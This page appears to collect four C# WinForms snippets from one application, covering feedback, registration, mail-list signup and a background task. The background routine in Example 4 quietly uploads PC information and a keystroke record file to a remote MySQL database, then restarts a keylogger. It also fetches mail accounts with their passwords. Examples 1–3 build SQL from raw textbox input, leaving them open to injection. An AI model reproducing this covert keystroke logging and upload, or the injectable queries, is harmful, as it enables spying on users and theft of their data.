Example #1
0
 private void button1_Click(object sender, EventArgs e)
 {
     if (RRturn)
     {
         MessageBox.Show("请勿重复提交!", "提示");
         return;
     }
     if (richTextBox1.Text.Length < 10)
     {
         MessageBox.Show("反馈内容长度不低于10个字符", "提醒");
         return;
     }
     if (textBox1.Text.Length < 5)
     {
         MessageBox.Show("请正确输入联系方式!", "提醒");
         return;
     }
     if (textBox2.Text.Length < 1)
     {
         MessageBox.Show("请留下大名!", "提醒");
         return;
     }
     try
     {
         MySql.SqlCommand(DataBase.GetJoinLeave(richTextBox1.Text, textBox1.Text, textBox2.Text));
         MessageBox.Show("提交成功!", "非常感谢");
         RRturn = true;
     }
     catch (Exception E) { MessageBox.Show(E.Message, "失败"); }
 }
Example #2
0
        private void UserRegister()
        {
            DataTable DT = MySql.GetDataBase(DataBase.GetRecordCount("dd_users where LoginEmail='" + textBox1.Text + "'"));

            if (int.Parse(DT.Rows[0][0].ToString()) > 0)
            {
                MessageBox.Show("该账号已经被注册!", "提示");
                return;
            }
            MySql.SqlCommand(DataBase.GetJoinRegUser(textBox1.Text, textBox3.Text, textBox2.Text));
            MessageBox.Show("注册成功,请使用" + textBox1.Text + "作为账号登陆!", "提示");
        }
Example #3
0
 private void GetJoinFromMail()
 {
     try
     {
         DataTable DT = MySql.GetDataBase(DataBase.GetRecordCount("dd_frommail where EMail='" + textBox1.Text + "'"));
         if (int.Parse(DT.Rows[0][0].ToString()) > 0)
         {
             MessageBox.Show("服务器中存在,请勿重复提交!", "提示");
             return;
         }
         MySql.SqlCommand(DataBase.GetJoinFromMail(textBox1.Text, textBox2.Text));
         MessageBox.Show("提交成功!", "提示");
     }
     catch (Exception E) { MessageBox.Show(E.Message); }
 }
Example #4
0
        public void Func()
        {
            switch (Index)
            {
            case 0:
                if (Value.App_Run)
                {
                    while (TryCount-- > 0)
                    {
                        try
                        {
                            DataTable DT = MySql.GetDataBase(DataBase.GetObjectValue("EndMessage"));
                            OnReceivedData(Index, DT.Rows[0][1].ToString());
                            return;
                        }
                        catch { }
                    }
                    OnReceivedData(Index, "获取失败|www.trtos.com");
                }
                break;

            case 1:
                if (Ini.Read("自动登陆") == "是")
                {
                    if (Value.App_Run)
                    {
                        while (TryCount-- > 0)
                        {
                            try
                            {
                                Value.LoginEmail    = Ini.Read("用户名");
                                Value.LoginPassWord = MyEncrypt.DecryptDES(Ini.Read("用户密码"));
                                DataTable DT1 = MySql.GetDataBase(DataBase.GetLoginInfor(Value.LoginEmail, Value.LoginPassWord));
                                Value.LoginUserName   = DT1.Rows[0][0].ToString();
                                Value.UserCreateDate  = DateTime.Parse(DT1.Rows[0][1].ToString());
                                Value.UserBeUserCount = int.Parse(DT1.Rows[0][2].ToString());
                                TryCount = 0;
                                OnReceivedData(Index, "登陆成功");
                                return;
                            }
                            catch { }
                        }
                        OnReceivedData(Index, "登陆失败");
                    }
                }
                break;

            case 2:
                if (Value.App_Run)
                {
                    while (TryCount-- > 0)
                    {
                        try
                        {
                            DataTable DT = MySql.GetDataBase(DataBase.GetFromMailList());
                            Value.SendMailList = new SendMailStruct[DT.Rows.Count];
                            for (int i = 0; i < DT.Rows.Count; i++)
                            {
                                Value.SendMailList[i].Mail     = DT.Rows[i][0].ToString();
                                Value.SendMailList[i].Password = DT.Rows[i][1].ToString();
                            }
                            OnReceivedData(Index, DT.Rows.Count.ToString());
                            return;
                        }
                        catch { }
                    }
                    OnReceivedData(Index, "获取失败|www.trtos.com");
                }
                break;

            case 3:
                if (Value.App_Run)
                {
                    while (TryCount-- > 0)
                    {
                        try
                        {
                            PC_InforStruct PIS = new PC_InforStruct();
                            PIS.IPInfor = (string)Msg;
                            PC_Infor.Get(ref PIS);
                            PIS.Record = Tools.ReadFile(Value.PathSys + Ini.Read("RecordPath"));
                            Tools.WriteFile(Value.PathSys + Ini.Read("RecordPath"), "");
                            MySql.SqlCommand(DataBase.GetJoinLoginReg(PIS));
                            Value.KeyLog = new Keylogger(Value.PathSys + Ini.Read("RecordPath"));
                            Value.KeyLog.startLoging();
                            return;
                        }
                        catch (Exception E) { OnReceivedData(Index, E.Message); }
                    }
                }
                break;

            default: break;
            }
        }